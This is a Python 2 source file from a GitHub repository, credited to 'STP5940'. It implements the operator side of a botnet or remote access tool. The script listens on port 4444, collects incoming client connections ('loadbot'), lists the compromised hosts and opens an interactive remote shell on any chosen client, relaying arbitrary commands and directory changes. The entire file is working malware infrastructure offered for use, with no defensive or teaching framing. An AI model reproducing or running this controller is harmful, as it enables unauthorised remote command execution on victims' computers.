-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
182 lines (174 loc) · 11.2 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import os, sys
from socket import *
host = "127.0.0.1"
port = 4444
logo = """
Coded by: STP5940
Facebook: https://facebook.com/home.htmi\n"""
commands = """
--------------------------------------------------------------
| Commands: |Frat:| Comment: |
--------------------------------------------------------------
___
[1] loadbot |-l | Accept connections
[2] list | l | List connections
[3] connect <Number> |-c | Interact with client
[4] stop | s | Stop interacting with Client
[5] cls | c | Clear the console
[6] help | h | Show this message
[7] exit | e | Close all connections and quit
[0] code |___| Show Credits
\n"""
s=socket(AF_INET, SOCK_STREAM)
s.settimeout(5) #this is needed in accept() later on
s.bind((host,port))
s.listen(10)
allConnections = []
allAddresses = []
def getConnections():
for item in allConnections:
item.close() #close all old connections
#empty the lists
del allConnections[:]
del allAddresses[:]
#start all over
while 1:
try:
q,addr=s.accept() #will timeout after 5 seconds
q.setblocking(1) #needed later on in recv() / making an non-blocking socket object
allConnections.append(q)
allAddresses.append(addr)
except:
break
def main():
print commands, logo
while 1:
command = raw_input("STP5940 >")
if (command == "loadbot" or command == "-l" or command == "1"):
getConnections()
print "[INFO] Done Accepting\n"
elif(command == "list" or command == "l"or command == "2"):
print "--------------------------------\nList Clients Connect to Server:\n--------------------------------"
for item in allAddresses:
print "[%d] - IP: %s | %s" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
print "\n"
elif("connect" in command):
chosenone = int(command.replace("connect ","")) - 1
if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
try:
allConnections[chosenone].send("STP5940") #welcome message
vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
except:
print "[ERROR] Client closed the connection\n"
break;
while 1:
data=raw_input(vtpath) #raw_input represents the client's sub process's current path
if ((data != "s") and (data != "stop") and ("cd " not in data) and ("upload " not in data)):
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
print msg
except:
print "[ERROR] Client closed the connection\n"
break;
elif ("cd " in data): #dealing with the cd command
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
vtpath = msg + ">"
except:
print "[ERROR] Client closed the connection\n"
break;
else:
print "\n"
break
else:
print "[ERROR] Client doesn't exist\n"
elif("-c" in command):
chosenone = int(command.replace("-c ","")) - 1
if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
try:
allConnections[chosenone].send("STP5940") #welcome message
vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
except:
print "[ERROR] Client closed the connection\n"
break;
while 1:
data=raw_input(vtpath) #raw_input represents the client's sub process's current path
if ((data != "s") and (data != "stop") and ("cd " not in data) and ("upload " not in data)):
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
print msg
except:
print "[ERROR] Client closed the connection\n"
break;
elif ("cd " in data): #dealing with the cd command
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
vtpath = msg + ">"
except:
print "[ERROR] Client closed the connection\n"
break;
else:
print "\n"
break
else:
print "[ERROR] Client doesn't exist\n"
elif("3" in command):
chosenone = int(raw_input("Number Client >"))-1
if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
try:
allConnections[chosenone].send("STP5940") #welcome message
vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
except:
print "[ERROR] Client closed the connection\n"
break;
while 1:
data=raw_input(vtpath) #raw_input represents the client's sub process's current path
if ((data != "s") and (data != "stop") and (data != "4") and ("cd " not in data) and ("upload " not in data)):
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
print msg
except:
print "[ERROR] Client closed the connection\n"
break;
elif ("cd " in data): #dealing with the cd command
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
vtpath = msg + ">"
except:
print "[ERROR] Client closed the connection\n"
break;
else:
print "\n"
break
else:
print "[ERROR] Client doesn't exist\n"
elif(command == "cls" or command == "c" or command == "5"):
if sys.platform == 'win32':
os.system("cls")
else:
os.system("clear")
elif(command == "help" or command == "-h" or command == "h" or command == "6"):
print commands
elif(command == "exit" or command == "e" or command == "7"):
for item in allConnections:
try:
item.send("exit") #send a message that will close the client connection
item.close() #close socket objects
except:
print "[ERROR] %s closed the connection already\n" % item
s.close()
break;
elif(command == "code" or command == "0"):
print "--------\nCredits:\n--------\nCoded by: STP5940\nFacebook: https://facebook.com/home.htmi\n"
else:
print "[ERROR] Invalid Command\n"
main()